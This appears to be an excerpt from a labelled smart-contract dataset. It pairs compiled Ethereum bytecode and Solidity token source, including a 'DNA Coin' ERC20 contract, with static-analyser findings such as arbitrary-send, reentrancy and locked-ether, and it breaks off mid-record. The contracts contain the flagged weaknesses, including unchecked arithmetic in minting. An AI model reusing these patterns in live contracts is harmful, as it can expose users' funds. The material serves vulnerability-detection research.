610b3a9190611c0f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bab9190611c0f565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c415760405162461bcd60e51b815260040161050190611b7b565b6008811115610c875760405162461bcd60e51b81526020600482015260126024820152716e6f74206c6172676572207468616e20382560701b6044820152606401610501565b600855565b6000546001600160a01b03163314610cb65760405162461bcd60e51b815260040161050190611b7b565b6001600160a01b038116610d1b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610501565b610520816114c1565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6c57610d6c611bb0565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de99190611c0f565b81600181518110610dfc57610dfc611bb0565b6001600160a01b039283166020918202929092010152600b54610e229130911684610e9e565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5b908590600090869030904290600401611c2c565b600060405180830381600087803b158015610e7557600080fd5b505af1158015610e89573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610f005760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610501565b6001600160a01b038216610f615760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610501565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110265760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610501565b6001600160a01b0382166110885760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610501565b600081116110ea5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610501565b6001600160a01b03831660009081526005602052604090205460ff16156111925760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610501565b6001600160a01b03831660009081526004602052604081205460ff161580156111d457506001600160a01b03831660009081526004602052604090205460ff16155b80156111ea5750600c54600160a81b900460ff16155b801561121a5750600c546001600160a01b038581169116148061121a5750600c546001600160a01b038481169116145b156113f157600c54600160b81b900460ff166112785760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610501565b50600c546001906001600160a01b0385811691161480156112a75750600b546001600160a01b03848116911614155b80156112b4575042600e54115b156112fb5760006112c4846106c1565b90506112e460646112de678ac7230489e800006002611511565b90611590565b6112ee84836115d2565b11156112f957600080fd5b505b600d54421415611329576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611334306106c1565b600c54909150600160b01b900460ff1615801561135f5750600c546001600160a01b03868116911614155b156113ef5780156113ef57600c54611393906064906112de90600f9061138d906001600160a01b03166106c1565b90611511565b8111156113c057600c546113bd906064906112de90600f9061138d906001600160a01b03166106c1565b90505b60006113cd826004611590565b90506113d98183611c9d565b91506113e481611631565b6113ed82610d24565b505b505b6113fd84848484611661565b50505050565b600081848411156114275760405162461bcd60e51b8152600401610501919061194a565b5060006114348486611c9d565b95945050505050565b60006006548211156114a45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610501565b60006114ae611764565b90506114ba8382611590565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261152057506000610534565b600061152c8385611cb4565b9050826115398583611cd3565b146114ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610501565b60006114ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611787565b6000806115df8385611bf7565b9050838110156114ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610501565b600c805460ff60b01b1916600160b01b1790556116513061dead83610fc2565b50600c805460ff60b01b19169055565b808061166f5761166f6117b5565b60008060008061167e876117d1565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116ab9085611818565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116da90846115d2565b6001600160a01b0389166000908152600160205260409020556116fc8161185a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161174191815260200190565b60405180910390a3505050508061175d5761175d600954600855565b5050505050565b60008060006117716118a4565b90925090506117808282611590565b9250505090565b600081836117a85760405162461bcd60e51b8152600401610501919061194a565b5060006114348486611cd3565b6000600854116117c457600080fd5b6008805460095560009055565b6000806000806000806117e6876008546118e4565b9150915060006117f4611764565b90506000806118048a8585611911565b909b909a5094985092965092945050505050565b60006114ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611403565b6000611864611764565b905060006118728383611511565b3060009081526001602052604090205490915061188f90826115d2565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118bf8282611590565b8210156118db57505060065492678ac7230489e8000092509050565b90939092509050565b600080806118f760646112de8787611511565b905060006119058683611818565b96919550909350505050565b6000808061191f8685611511565b9050600061192d8686611511565b9050600061193b8383611818565b92989297509195505050505050565b600060208083528351808285015260005b818110156119775785810183015185820160400152820161195b565b81811115611989576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052057600080fd5b80356119bf8161199f565b919050565b600080604083850312156119d757600080fd5b82356119e28161199f565b946020939093013593505050565b600080600060608486031215611a0557600080fd5b8335611a108161199f565b92506020840135611a208161199f565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a5a57600080fd5b823567ffffffffffffffff80821115611a7257600080fd5b818501915085601f830112611a8657600080fd5b813581811115611a9857611a98611a31565b8060051b604051601f19603f83011681018181108582111715611abd57611abd611a31565b604052918252848201925083810185019188831115611adb57600080fd5b938501935b82851015611b0057611af1856119b4565b84529385019392850192611ae0565b98975050505050505050565b600060208284031215611b1e57600080fd5b81356114ba8161199f565b60008060408385031215611b3c57600080fd5b8235611b478161199f565b91506020830135611b578161199f565b809150509250929050565b600060208284031215611b7457600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bf057611bf0611bc6565b5060010190565b60008219821115611c0a57611c0a611bc6565b500190565b600060208284031215611c2157600080fd5b81516114ba8161199f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c7c5784516001600160a01b031683529383019391830191600101611c57565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611caf57611caf611bc6565b500390565b6000816000190483118215151615611cce57611cce611bc6565b500290565b600082611cf057634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a3103c1ce94195114584ed9eb64a1ffa256b7d8c896d284838c37d175cb0391764736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,702 |
0x268f39ebb4868a09fa654d4ffe1ab024bc937db2
|
pragma solidity ^0.4.16;
/**
* DNA Coin
*
* Powering a next generation DNA Data Matching Platform
*
* Copyright DNA TEMPLE International Limited. All rights reserved.
*/
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract DNACoin is StandardToken, Ownable {
string public constant name = "DNA Coin";
string public constant symbol = "DNA";
uint256 public constant decimals = 18;
uint256 public constant UNIT = 10 ** decimals;
address public companyWallet;
address public backendWallet;
uint256 public maxSupply = 1000000 * UNIT;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier onlyBackend() {
require(msg.sender == backendWallet);
_;
}
function DNACoin(address _companyWallet, address _backendWallet) public {
companyWallet = _companyWallet;
backendWallet = _backendWallet;
balances[companyWallet] = 500000 * UNIT;
totalSupply_ = totalSupply_.add(500000 * UNIT);
Transfer(address(0x0), _companyWallet, 500000 * UNIT);
}
/**
* Change the backendWallet that is allowed to issue new tokens (used by server side)
* Or completely disabled backend unrevokable for all eternity by setting it to 0x0. Should be done after token sale completed.
*/
function setBackendWallet(address _backendWallet) public onlyOwner {
if (backendWallet != address(0)) {
backendWallet = _backendWallet;
}
}
function() public payable {
revert();
}
/***
* This function is used to transfer tokens that have been bought through other means (credit card, bitcoin, etc), and to burn tokens after the sale.
*/
function mint(address receiver, uint256 tokens) public onlyBackend {
require(totalSupply_ + tokens <= maxSupply);
balances[receiver] += tokens;
totalSupply_ += tokens;
Transfer(address(0x0), receiver, tokens);
}
function sendBonus(address receiver, uint256 bonus) public onlyBackend {
Transfer(companyWallet, receiver, bonus);
balances[companyWallet] = balances[companyWallet].sub(bonus);
balances[receiver] = balances[receiver].add(bonus);
}
}
|
0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a55780630edfe7ec146101ff57806318160ddd146102385780631ec32d151461026157806323b872dd146102b6578063313ce5671461032f57806340c10f1914610358578063592147651461039a57806366188463146103dc57806370a08231146104365780638da5cb5b1461048357806395d89b41146104d85780639d8e217714610566578063a680baaf1461058f578063a9059cbb146105e4578063d5abeb011461063e578063d73dd62314610667578063dd62ed3e146106c1578063f2fde38b1461072d575b600080fd5b341561012257600080fd5b61012a610766565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016a57808201518184015260208101905061014f565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b057600080fd5b6101e5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061079f565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b610236600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610891565b005b341561024357600080fd5b61024b61098a565b6040518082815260200191505060405180910390f35b341561026c57600080fd5b610274610994565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102c157600080fd5b610315600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109ba565b604051808215151515815260200191505060405180910390f35b341561033a57600080fd5b610342610d74565b6040518082815260200191505060405180910390f35b341561036357600080fd5b610398600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d79565b005b34156103a557600080fd5b6103da600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610eb0565b005b34156103e757600080fd5b61041c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611101565b604051808215151515815260200191505060405180910390f35b341561044157600080fd5b61046d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611392565b6040518082815260200191505060405180910390f35b341561048e57600080fd5b6104966113da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104e357600080fd5b6104eb611400565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561052b578082015181840152602081019050610510565b50505050905090810190601f1680156105585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561057157600080fd5b610579611439565b6040518082815260200191505060405180910390f35b341561059a57600080fd5b6105a2611441565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105ef57600080fd5b610624600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611467565b604051808215151515815260200191505060405180910390f35b341561064957600080fd5b610651611686565b6040518082815260200191505060405180910390f35b341561067257600080fd5b6106a7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061168c565b604051808215151515815260200191505060405180910390f35b34156106cc57600080fd5b610717600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611888565b6040518082815260200191505060405180910390f35b341561073857600080fd5b610764600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061190f565b005b6040805190810160405280600881526020017f444e4120436f696e00000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ed57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156109875780600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600154905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109f757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a4457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610acf57600080fd5b610b20826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bb3826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c8482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd557600080fd5b600654816001540111151515610dea57600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0c57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a361100681600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6790919063ffffffff16565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110bb816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611212576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112a6565b6112258382611a6790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f444e41000000000000000000000000000000000000000000000000000000000081525081565b6012600a0a81565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114a457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114f157600080fd5b611542826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115d5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60065481565b600061171d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561196b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156119a757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611a7557fe5b818303905092915050565b6000808284019050838110151515611a9457fe5b80915050929150505600a165627a7a7230582001b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,703 |
0x500565e098d98a273224ec8fb33d98dc8946f8b9
|
pragma solidity ^0.4.24;
// File: node_modules\zeppelin-solidity\contracts\math\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
